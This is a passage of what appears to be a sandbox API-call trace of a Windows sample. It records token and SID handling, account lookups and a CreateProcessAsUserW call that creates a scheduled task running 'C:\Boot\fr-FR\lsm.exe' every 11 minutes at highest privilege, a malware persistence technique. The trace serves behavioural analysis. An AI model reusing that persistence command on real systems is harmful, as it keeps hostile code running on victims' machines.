_Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0084.178] free (_Block=0xef0a0) [0084.178] free (_Block=0xeef20) [0084.178] malloc (_Size=0x18) returned 0xeef20 [0084.178] malloc (_Size=0x18) returned 0xef0a0 [0084.178] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0084.178] SysStringLen (param_1="1000") returned 0x4 [0084.178] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0084.178] memcpy (in: _Dst=0x34ddec, _Src=0x381298, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0084.179] free (_Block=0xef040) [0084.179] free (_Block=0xeef20) [0084.179] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0084.179] malloc (_Size=0x5e) returned 0xf0800 [0084.179] free (_Block=0xef0a0) [0084.179] malloc (_Size=0x18) returned 0xef0a0 [0084.180] free (_Block=0xf0800) [0084.180] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0084.180] GetLastError () returned 0x7a [0084.181] malloc (_Size=0x14) returned 0xeef20 [0084.181] malloc (_Size=0x16) returned 0xef040 [0084.181] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0084.181] malloc (_Size=0x18) returned 0xef020 [0084.181] malloc (_Size=0x18) returned 0xeef60 [0084.181] free (_Block=0xeef20) [0084.181] free (_Block=0xef040) [0084.182] free (_Block=0xeff00) [0084.182] free (_Block=0xeef60) [0084.182] free (_Block=0xef020) [0084.182] free (_Block=0xef0a0) [0084.182] free (_Block=0xee240) [0084.183] malloc (_Size=0x48) returned 0xed400 [0084.183] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0084.213] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0084.213] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0084.213] malloc (_Size=0x18) returned 0xef0a0 [0084.213] CreateEnvironmentBlock () returned 0x1 [0084.218] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0084.218] malloc (_Size=0x18) returned 0xef020 [0084.219] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x368, dwThreadId=0x3ec)) returned 1 [0084.224] CloseHandle (hObject=0x2f8) returned 1 [0084.224] CloseHandle (hObject=0x2fc) returned 1 [0084.224] free (_Block=0xef020) [0084.224] DestroyEnvironmentBlock () returned 0x1 [0084.224] malloc (_Size=0x48) returned 0xed270 [0084.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5b2b8d00, dwHighDateTime=0x1d9eb0c)) [0084.224] SetEvent (hEvent=0x1f0) returned 1 [0084.224] CloseHandle (hObject=0x238) returned 1 [0084.225] CloseHandle (hObject=0x244) returned 1 [0084.421] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0084.421] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0084.421] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0084.984] SetLastError (dwErrCode=0x0) [0084.984] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0084.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0084.984] SetLastError (dwErrCode=0x0) [0084.984] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0084.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0084.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0084.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0084.984] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0084.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0084.986] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0084.987] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.987] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.987] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0084.987] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.987] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0084.988] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0084.990] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0084.990] GetCurrentThread () returned 0xfffffffffffffffe [0084.990] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0084.990] malloc (_Size=0xd8) returned 0xf4740 [0084.990] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0084.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0084.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0084.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0084.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0084.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0084.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0084.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0084.994] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0084.994] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0084.994] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0084.994] malloc (_Size=0x18) returned 0xeef00 [0084.994] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0084.994] malloc (_Size=0x48) returned 0xed2c0 [0084.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5ba03060, dwHighDateTime=0x1d9eb0c)) [0084.994] SetEvent (hEvent=0x1f0) returned 1 [0085.000] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0085.000] GetLastError () returned 0x7a [0085.000] malloc (_Size=0x2c) returned 0xee200 [0085.000] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0085.000] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.000] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0085.000] malloc (_Size=0x1c) returned 0xeff60 [0085.000] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.000] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0085.000] malloc (_Size=0x18) returned 0xeef00 [0085.001] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0085.001] malloc (_Size=0x18) returned 0xef0a0 [0085.001] malloc (_Size=0x18) returned 0xef020 [0085.001] SysStringLen (param_1="S-1-") returned 0x4 [0085.001] SysStringLen (param_1="5") returned 0x1 [0085.001] memcpy (in: _Dst=0x3811d8, _Src=0x381268, _Size=0xa | out: _Dst=0x3811d8) returned 0x3811d8 [0085.001] memcpy (in: _Dst=0x3811e0, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x3811e0) returned 0x3811e0 [0085.001] free (_Block=0xeef00) [0085.001] free (_Block=0xef0a0) [0085.001] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0085.001] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0085.001] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0085.001] malloc (_Size=0x18) returned 0xef0a0 [0085.001] malloc (_Size=0x18) returned 0xeef00 [0085.001] SysStringLen (param_1="S-1-5") returned 0x5 [0085.001] SysStringLen (param_1="-") returned 0x1 [0085.001] memcpy (in: _Dst=0x3810b8, _Src=0x3811d8, _Size=0xc | out: _Dst=0x3810b8) returned 0x3810b8 [0085.001] memcpy (in: _Dst=0x3810c2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810c2) returned 0x3810c2 [0085.002] free (_Block=0xef020) [0085.002] free (_Block=0xef0a0) [0085.002] malloc (_Size=0x18) returned 0xef0a0 [0085.002] malloc (_Size=0x18) returned 0xef020 [0085.002] SysStringLen (param_1="S-1-5-") returned 0x6 [0085.002] SysStringLen (param_1="21") returned 0x2 [0085.002] memcpy (in: _Dst=0x381268, _Src=0x3810b8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0085.002] memcpy (in: _Dst=0x381274, _Src=0x3811d8, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0085.002] free (_Block=0xeef00) [0085.002] free (_Block=0xef0a0) [0085.002] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0085.002] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0085.002] malloc (_Size=0x18) returned 0xef0a0 [0085.002] malloc (_Size=0x18) returned 0xeef00 [0085.002] SysStringLen (param_1="S-1-5-21") returned 0x8 [0085.002] SysStringLen (param_1="-") returned 0x1 [0085.002] memcpy (in: _Dst=0x3811d8, _Src=0x381268, _Size=0x12 | out: _Dst=0x3811d8) returned 0x3811d8 [0085.002] memcpy (in: _Dst=0x3811e8, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x3811e8) returned 0x3811e8 [0085.002] free (_Block=0xef020) [0085.003] free (_Block=0xef0a0) [0085.003] malloc (_Size=0x18) returned 0xef0a0 [0085.003] malloc (_Size=0x18) returned 0xef020 [0085.003] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0085.003] SysStringLen (param_1="4219442223") returned 0xa [0085.003] memcpy (in: _Dst=0x338368, _Src=0x3811d8, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0085.003] memcpy (in: _Dst=0x33837a, _Src=0x381268, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0085.003] free (_Block=0xeef00) [0085.003] free (_Block=0xef0a0) [0085.003] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0085.003] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0085.003] malloc (_Size=0x18) returned 0xef0a0 [0085.003] malloc (_Size=0x18) returned 0xeef00 [0085.003] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0085.003] SysStringLen (param_1="-") returned 0x1 [0085.003] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0085.003] memcpy (in: _Dst=0x3382ee, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0085.003] free (_Block=0xef020) [0085.003] free (_Block=0xef0a0) [0085.004] malloc (_Size=0x18) returned 0xef0a0 [0085.004] malloc (_Size=0x18) returned 0xef020 [0085.004] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0085.004] SysStringLen (param_1="4223814209") returned 0xa [0085.004] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0085.004] memcpy (in: _Dst=0x34d980, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0085.004] free (_Block=0xeef00) [0085.004] free (_Block=0xef0a0) [0085.004] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0085.004] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0085.004] malloc (_Size=0x18) returned 0xef0a0 [0085.004] malloc (_Size=0x18) returned 0xeef00 [0085.004] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0085.004] SysStringLen (param_1="-") returned 0x1 [0085.004] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0085.004] memcpy (in: _Dst=0x34dcc4, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0085.004] free (_Block=0xef020) [0085.004] free (_Block=0xef0a0) [0085.004] malloc (_Size=0x18) returned 0xef0a0 [0085.005] malloc (_Size=0x18) returned 0xef020 [0085.005] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0085.005] SysStringLen (param_1="3835049652") returned 0xa [0085.005] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0085.005] memcpy (in: _Dst=0x34d996, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0085.005] free (_Block=0xeef00) [0085.005] free (_Block=0xef0a0) [0085.005] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0085.005] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0085.005] malloc (_Size=0x18) returned 0xef0a0 [0085.005] malloc (_Size=0x18) returned 0xeef00 [0085.005] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0085.005] SysStringLen (param_1="-") returned 0x1 [0085.005] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0085.005] memcpy (in: _Dst=0x34dcda, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0085.005] free (_Block=0xef020) [0085.005] free (_Block=0xef0a0) [0085.005] malloc (_Size=0x18) returned 0xef0a0 [0085.005] malloc (_Size=0x18) returned 0xef020 [0085.006] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0085.006] SysStringLen (param_1="1000") returned 0x4 [0085.006] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0085.006] memcpy (in: _Dst=0x34d9ac, _Src=0x3811d8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0085.006] free (_Block=0xeef00) [0085.006] free (_Block=0xef0a0) [0085.006] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0085.006] malloc (_Size=0x5e) returned 0xf0800 [0085.006] free (_Block=0xef020) [0085.006] malloc (_Size=0x18) returned 0xef020 [0085.007] free (_Block=0xf0800) [0085.007] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0085.008] GetLastError () returned 0x7a [0085.008] malloc (_Size=0x14) returned 0xef0a0 [0085.008] malloc (_Size=0x16) returned 0xeef00 [0085.008] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0085.008] malloc (_Size=0x18) returned 0xeef60 [0085.009] malloc (_Size=0x18) returned 0xef040 [0085.009] free (_Block=0xef0a0) [0085.009] free (_Block=0xeef00) [0085.009] free (_Block=0xeff60) [0085.009] free (_Block=0xef040) [0085.009] free (_Block=0xeef60) [0085.009] free (_Block=0xef020) [0085.010] free (_Block=0xee200) [0085.010] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0085.010] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0085.010] GetLastError () returned 0x7a [0085.010] malloc (_Size=0x2c) returned 0xee240 [0085.010] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0085.010] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.010] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0085.010] malloc (_Size=0x1c) returned 0xeff60 [0085.010] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.010] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0085.010] malloc (_Size=0x18) returned 0xef020 [0085.010] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0085.010] malloc (_Size=0x18) returned 0xeef60 [0085.011] malloc (_Size=0x18) returned 0xef040 [0085.011] SysStringLen (param_1="S-1-") returned 0x4 [0085.011] SysStringLen (param_1="5") returned 0x1 [0085.011] memcpy (in: _Dst=0x381268, _Src=0x3810b8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0085.011] memcpy (in: _Dst=0x381270, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0085.011] free (_Block=0xef020) [0085.011] free (_Block=0xeef60) [0085.011] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0085.011] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0085.011] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0085.011] malloc (_Size=0x18) returned 0xeef60 [0085.011] malloc (_Size=0x18) returned 0xef020 [0085.011] SysStringLen (param_1="S-1-5") returned 0x5 [0085.011] SysStringLen (param_1="-") returned 0x1 [0085.011] memcpy (in: _Dst=0x3811d8, _Src=0x381268, _Size=0xc | out: _Dst=0x3811d8) returned 0x3811d8 [0085.011] memcpy (in: _Dst=0x3811e2, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x3811e2) returned 0x3811e2 [0085.011] free (_Block=0xef040) [0085.011] free (_Block=0xeef60) [0085.011] malloc (_Size=0x18) returned 0xeef60 [0085.012] malloc (_Size=0x18) returned 0xef040 [0085.012] SysStringLen (param_1="S-1-5-") returned 0x6 [0085.012] SysStringLen (param_1="21") returned 0x2 [0085.012] memcpy (in: _Dst=0x3810b8, _Src=0x3811d8, _Size=0xe | out: _Dst=0x3810b8) returned 0x3810b8 [0085.012] memcpy (in: _Dst=0x3810c4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3810c4) returned 0x3810c4 [0085.012] free 